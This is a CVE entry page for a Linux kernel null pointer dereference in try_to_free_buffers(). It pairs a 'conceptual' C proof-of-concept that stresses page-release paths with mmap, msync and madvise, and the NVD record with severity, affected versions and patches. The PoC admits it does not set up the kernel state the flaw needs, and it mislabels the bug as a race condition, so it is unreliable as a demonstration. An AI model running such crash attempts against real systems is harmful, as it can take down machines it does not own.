CVE-2025-71295

// Conceptual PoC to trigger the race condition or specific state // Note: Triggering this requires specific kernel state (AS_RELEASE_ALWAYS) // which is usually internal. This is a stress test attempting to hit the path. #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> int main() { int fd; void *map; const char *file = "/tmp/test_cve_2025_71295"; // Create a dummy file to map fd = open(file, O_RDWR | O_CREAT, 0666); if (fd < 0) return 1; ftruncate(fd, 4096); // Map the file map = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (map == MAP_FAILED) { close(fd); return 1; } // Force memory pressure or specific operations to invoke release paths // (Real exploitation requires aligning with AS_RELEASE_ALWAYS logic) printf("Attempting to trigger buffer release logic...\n"); // Write to trigger dirtying and potential flush/release paths for(int i=0; i<1000; i++) { *(char*)map = 'A'; msync(map, 4096, MS_SYNC); madvise(map, 4096, MADV_DONTNEED); // Hint kernel to release pages } munmap(map, 4096); close(fd); unlink(file); return 0; }

{"cve": {"id": "CVE-2025-71295", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:28.820", "lastModified": "2026-05-12T21:21:32.197", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/buffer: add alert in try_to_free_buffers() for folios without buffers\n\ntry_to_free_buffers() can be called on folios with no buffers attached\nwhen filemap_release_folio() is invoked on a folio belonging to a mapping\nwith AS_RELEASE_ALWAYS set but no release_folio operation defined.\n\nIn such cases, folio_needs_release() returns true because of the\nAS_RELEASE_ALWAYS flag, but the folio has no private buffer data. This\ncauses try_to_free_buffers() to call drop_buffers() on a folio with no\nbuffers, leading to a null pointer dereference.\n\nAdding a check in try_to_free_buffers() to return early if the folio has no\nbuffers attached, with WARN_ON_ONCE() to alert about the misconfiguration.\nThis provides defensive hardening."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.72", "versionEndExcluding": "6.1.165", "matchCriteriaId": "F9C931B5-ABFF-44E0-8DB4-F03D0583BE81"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/1b111a69a6e33a922622bf9870e4e63fb2b649c8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/42c32d7571ccd8ef32351cac506f00b0fae99fd2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/727e5140e0cf83b4ce6a11b89bb73bff5d96f8f3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b68f91ef3b3fe82ad78c417de71b675699a8467c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c1b6227555c52781178132b7a06466711855795c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c6246ca15999053d2632fbcc7b86e6eef7f077cb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}